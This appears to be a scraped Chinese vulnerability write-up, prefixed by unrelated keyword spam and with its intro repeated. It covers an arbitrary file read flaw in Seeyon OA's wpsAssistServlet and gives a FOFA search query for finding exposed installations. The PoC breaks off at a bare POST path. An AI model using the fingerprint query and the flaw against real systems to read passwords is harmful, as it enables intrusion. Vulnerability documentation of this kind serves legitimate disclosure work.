网站变更备案,南京市住房和城乡建设部网站,新媒体口碑营销案例,做网站建立数据库0x01 产品简介
致远互联-OA 是数字化构建企业数字化协同运营中台，面向企业各种业务场景提供一站式大数据分析解决方案的协同办公软件。
0x02 漏洞概述
致远互联-OA wpsAssistServlet 存在任意文件读取漏洞，攻击者可读取系统密码等敏感信息进一步控制系统。
0x03 复现环境…0x01 产品简介
致远互联-OA是数字化构建企业数字化协同运营中台，面向企业各种业务场景提供一站式大数据分析解决方案的协同办公软件。
0x02 漏洞概述
致远互联-OAwpsAssistServlet存在任意文件读取漏洞，攻击者可读取系统密码等敏感信息进一步控制系统。
0x03 复现环境
FOFA：
body="/seeyon/USER-DATA/IMAGES/LOGIN/login.gif" || title="用友致远A" || (body="/yyoa/" body!="本站内容均采集于") || header="path=/yyoa" || server=="SY8044" || (body="A6-V5企业版" body="seeyon" body="seeyonProductId") || (body="/seeyon/common/" body="var _ctxpath = '/seeyon'") || (body="A8-V5企业版" body="/seeyon/") || banner="Server: SY8044"
0x04 漏洞复现
PoC
POST /seeyon/wp
